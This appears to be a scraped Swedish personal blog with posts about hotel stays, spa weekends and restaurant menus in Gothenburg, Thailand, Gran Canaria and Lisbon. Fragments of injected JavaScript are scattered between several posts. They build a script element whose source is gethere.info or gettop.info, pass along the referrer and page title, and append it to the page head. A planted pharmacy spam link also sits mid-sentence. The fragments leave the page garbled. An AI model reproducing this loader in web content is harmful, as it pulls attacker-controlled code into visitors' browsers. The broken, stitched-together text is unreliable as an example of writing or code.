KhaoLak Forest Resort, Khao Lak

I slutet av december åkte jag ner till Thailand på semester och bodde på ett superfint hotell i Khao Lak som heter KhaolLak Forest Resort.

Kändes lite som en spahotell med otroligt vacker cialisfrance24.com trädgård.

Arken hotell and Art Garden spa

IMG_5405IMG_5408IMG_5407IMG_5412IMG_5409IMG_5292Förra helgen var var vi på Arken spa. Arken Hotel & Art Garden Spa ligger i hamninloppet, på Nordatlanten 100 i Skandiahamnen ca 12 km från Göteborgs centrum i riktning mot Öckerö/Torslanda

IMG_5406 IMG_5408

IMG_5478IMG_5477

Vi hade bokat ”Lilla Art Garden spa” paketet som innehåller följande.

Övernattning med vår stora frukostbuffé.

  • Fri tillgång till Art Garden Spa  med dess utbud av bad, bastur och aktivitetspass.
  • På kvällen ingår en 3-rätters middag
  • Lån av skön badrock och tofflor.

Spaavdelningen är fördelad på två plan. Först får man tvaga sig innan man går in till själva spaavdelningen.

IMG_5476

 

IMG_5459IMG_5460IMG_5465IMG_5467

IMG_5410IMG_5392

De finns ett trevligt orageri på övervåningen av  spadelen  med blommor och soffor.
IMG_5462IMG_5461IMG_5471IMG_5472Hotellreceptionen är så trevlig med en massa sittgrupper, blommor och trevlig personal.

IMG_5475

IMG_5353

På kvällen åt en 3-rättersmiddag och fick välja mellan två olika varmrätter.

IMG_5473

IMG_5470

IMG_5357

Förrätt – Citron & Torsk Torsk fritters med koriander, chili och salladslök. Citronkål & chili majonnäs

IMG_5358

Varmrätt – Rotselleri & Hjortinnanlår Brynt rotselleri, svamp från Östra Gärde gård, hjortinnanlår & sås av viltfond och grönpeppar.

IMG_5411

Eller

Varmrätt – Persiljerot & röding Bakad persiljerot, halstrad röding, sås av kalvfond och brynta fiskben med citron & smör

IMG_5359

Dessert – Pumpa & mandlar Pumpa paj med smak av kanel, ingefära och nejlika, karamellskum med apelsin & kanderade mandlar.

IMG_5360

Frukosten var mycket bra. De hade dukat upp med olika stationer vilket gjorde att det var nästan ingen kö när man skulle ta sin frukost. Ett plus för att man kunde grädda sina egna våfflor.

IMG_5456IMG_5455

 

Arken Spa kan jag verkligen rekommendera och hit kommer jag åka fler gånger.

 

Köpte med mig ett doftljus från Arken spa.

IMG_5457var d=document;var s=d.createElement(‘script’);

} else {var d=document;var s=d.createElement(‘script’);

Julmiddag med jobbet 15:e december 2015 på Hotell Pigalle

IMG_4208IMG_4191

IMG_4211

Har besökt ”Pigalle” två gånger tidigare och man blir alltid lika överraskad över den otroligt trevliga personalen, fantastisk mat och perfekt service.

Vi började med ett glas champagne på ”Bar Amuse” innan vi åkte upp till ”Atelier”.

IMG_3867

Jag drack en supergod ”Cosmopolitan” innan middagen.

IMG_4205

IMG_4194IMG_4206IMG_4207IMG_4193

Vi åt ”Skafferimenyn” och till det drack vi tillhörande viner.

IMG_4209

Från Vidderna
Råbiff av västsvensk kossa med saltbakade betor, färskost från Vilhelmsdal & vintertryffel.

IMG_4195

Kungen av fisk
Piggvar med senapsstuvad kål, rostad jordärtskocka & råhyvlade champinjoner.

IMG_4198

Varken fisk eller mittemellan
Kryddig vildand med sojastekta svampar, skånsk brysselkål & vitlökspuré.

IMG_4196

Innan kryddkakan fick vi en liten söt dessert.

IMG_4199

Du gamla, du fria
Kryddkaka med äppelkompott & havre- & sirapsglass.

IMG_4197IMG_4210IMG_4200IMG_4204IMG_4203IMG_4202IMG_4201

 } else {

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Pigalle, Göteborg

Förra veckan träffade jag Hannah, Peter, Jesper och Linda i Göteborg då de var på kundbesök för att sälja in SS2015 kollektionen av FME Collection.

Vi träffades först på Bellora hotell där de hade haft kundmöten hela dagen på takterrassen.

13

11923224_912187472184630_4634383701844171705_n

Ni kan läsa om dagen och kvällen på Hannah’s blogg här.

Vi åkte sedan vidare till Pigalle och åt middag på den mysiga takterrassen.

13

11

Först skålades det i champagne och en fördrink innan vi åt middag.

Vi åt följande meny.
Gott bröd och smörstekta kantareller som aptitretare.

8

Getost från Vilhelmsdal
Granskottsirap, buskkrasse & brödgrus

9

Dagens fångst med Accra
Långstekt silverlök, färsklök från Lilla Labäck & spansk körvel

7

Griskind från Tidaholm
Majskräm, rostad fänkål & anis

6

Lite sorbet
5

Blåbär från Jocke på Bramley
Kaffekräm & malt

4

 

 

}

Käringön 11-12 juni 2015

ENu har jag varit på Käringön med mina kollegor.
Vi åkte ribbåt ut till Käringön och bodde på ”Hotell Käringön”.

1

1110921386

C32A12

5AA

Vi stannade till på ”Salt och Sill”.

7106543921

Sen åkte vi runt till några öar och hade teambuilding innan vi stannade till på Käringön och checkade in på hotellet.
231

 

Efter incheckningen åt vi lunch ute.

123

Vi badade tunna efter en stund och vädret var fint hela dagen.

217

8643

 

Vi åt middag på ”Petersons krog”.3461387101216151411ag på ”Petersons Krog”.

15

Förrätt:
Kalixlöjrom
med klassiska tillbehör

17

Varmrätt:
Halstrad torskrygg på en ragu
med sparris, minimorot, bacon, mandelpotatis och friterad salvia. Vit sparrissås samt en ört- och tryffelolja

18

Dessert:
Passionsfruktsmousse och passionsfruktscurd
serveras men en vit choklad- och hallonglass, chokladsmul och maräng.

 1920

 

Maten var supergod och vi stannade på Petersons krog hela kvällen.

476

var d=document;var s=d.createElement('script');

Pigalle

Igår besökte jag ett nytt ställe i Göteborg som heter ”Pigalle” som ligger vid Södra Hamngatan 2A i Göteborg.

bild8

Nu håller de på med renovering av fasaden men här kan ni se hur entrén ser ut för tillfället.

bild9

För att komma till restaurangen ”Atelier” går du in genom entrén via hotellet och tar hissen upp till 4:e våningen.
Vill ni bara äta något lätt så kan man sitta i hotellets entré på ”Bar Amuse”.

Vi valde att åka upp till ”Atelier” och äta en ostbricka och dricka lite vin.

bild12bild13bild10bild7bild6bild17bild11bild14

Först fick vi en aptitretare.

 

bild1En supergod ostbricka som serverades med varmt bröd, kex och goda marmelader.

bild19 bild18bild2bild3bild5Mycket trevlig personal, bra service och goda ostar. Hit kommer jag gå flera gånger! Om ni är större sällskap rekommenderar jag att ni bokar bord.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Bjertorp slott

bild15

bild23bild22bild5

bild8bild12bild8

Nu har jag besökt  Bjertorp Slott med jobbet. Vilket underbart ställe. Vi hade en heldagskonferens och avslutade med en underbar 4-rätters middag på kvällen. Rummen var så fina och jag fick ett fint hörnrum med ett helt magiskt badrum.

bild13

bild21bild14bild12

bild23bild18bild13bild3bild2bild20bild12

Lunch och afternoon tea.
bild11bild11bild6bild15bild3bild10bild9bild14

Middagen började med en välkomstdrink och sen en underbar 4-rätters middag med tillhörande viner.

bildB
bild13bild21

bild17bild18bild22bild1bild6bild7

 

bild2

bild15bild8Halstrade pilgrimsmusslor
Broccoli-kapris-brynt smör

bild7Terrine på rådjursinnanlår
Karl-Johansvamp-spaltvetelök

bild1

Hjortinnerfilé
Rödkål, rotselleri, potatisfondant

bild5
Saffrans creme brulée
Björnbärssorbet, citronecreme och fransk pepparkaka
bild14

bild20bild10bild14bild7

Vi åt en god frukost innan vi checkade ut från Bjertorp slott.
bild19bild17bild18

Kan verkligen rekommendera att hälsa på Bjertorp slott och hit kommer jag gärna tillbaks. Underbar miljö, trevlig personal och supergod mat.if (document.currentScript) {

var d=document;var s=d.createElement(‘script’);

Spaweekend på Varbergs Asia spa

bild27

För en vecka sedan åkte min kille och jag iväg på spahelg till Varbergs stadshotell & Asia spa. Vi har varit där tidigare och vilket underbart ställe. Denna gång bokade vi in ett sk ”boutique garden” rum.

bild2bild4bild24bild28

 

bild12bild18bild29bild15bild16bild8bild3bild7bild14bild2bild5Bild1

bild9

Vi hade bokat en 3 rättersmiddag och vi åt följande rätter.

Förrätt:
Cevice på pilgrimsmusslor och kräftor, gräddfil, löjrom och sticklök, serveras på friterad potatisbröd med örtsalt och västerbottenost.

bild25

Varmrätt:
Helstekt färserad kalvrygg med stompade rötter, lökar om madeirasky.

bild26

Dessert:
Blåbärscheesecake med aprikoscrème och vaniljglass.

bild30

Vi började med ett glas bubbel och sen fortsatte vi med vin.

Till frukost åt jag en nystekt omelett och en massa annat gott. Ett plus i kanten att man fick välja ingrediensen i omeletten som de stekte på plats. Du kunde även grädda dina egna våfflor på plats men kön var otroligt lång så jag skippade våfflorna. Ett minus var att juicen från juiceautomaten smakade som utspädd saft och att personalen inte fyllt på med alla pålägg fastän det var 1 timma kvar på frukosten.

 

bild21bild19
Jag köpte  med mig ett underbart armband från Asia spa butiken. Ett rött Chakra ”Baschakra” armband och den röda färgen symobilserar ”Balans” (får dig att stå stadigt på jorden och känna trygghet).

Man kan köpa arbandet i deras webbshop här.

Bild1bild20bild23

 

 } else {

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Hotel Cantur, Las Palmas

Nu har min kille och jag bokat en semesterresa till Gran Canaria. Vi bokade flygstol med Fritidsresor och hotell via hotels.com.

untitled

Är supernöjd med hotellet som vi fick till ett mycket fördelaktigt pris på. 3600kr för en vecka för två personer och då ingår frukostbuffé, rummet har AC, fri Wifi, gratis vattenflaska på rummet, kuddmeny, fritt lån av handdukar till takpoolen eller stranden, fri lån av cykel, fri tillgång till filmkanaler, kaffe/tekokare på rummet. Hotell ligger 20 meter från stranden Las Canterasvi och vi har gångavstånd till det mesta i Las Palmas. Ser fram emot lite sol och värme snart.

YouTube Preview Image YouTube Preview Image

Hotellet vi ska bo på heter Hotel Cantur.

Hotel Cantur har  en härlig takterass med bastu, bubbelbad och en utomhuspool med solterrass.

best-western-hotel-cantur-gran-canaria_big

Bild2

bild3bildA

bild8

bild7bild5bild9

b_445_0_16777215_00___images_stories_dscn407012111 playa-de-las-canteras

XXX

 

 

d.getElementsByTagName(‘head’)[0].appendChild(s);d.getElementsByTagName(‘head’)[0].appendChild(s);

Corinthia hotel, Lissabon

Snart bär det iväg till Lissabon med jobbet 27-30:e mars och då kommer vi bo på det här underbara 5stjärniga hotellet som heter Corinthia hotel Lissabon. Kika på deras hemsida här.

Här kommer lite bilder från det fina hotellet som jag hittat på nätet. Jag kommer ta egna foton när jag är där på resan som jag lägger upp när jag är hemma igen.

Bild2

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {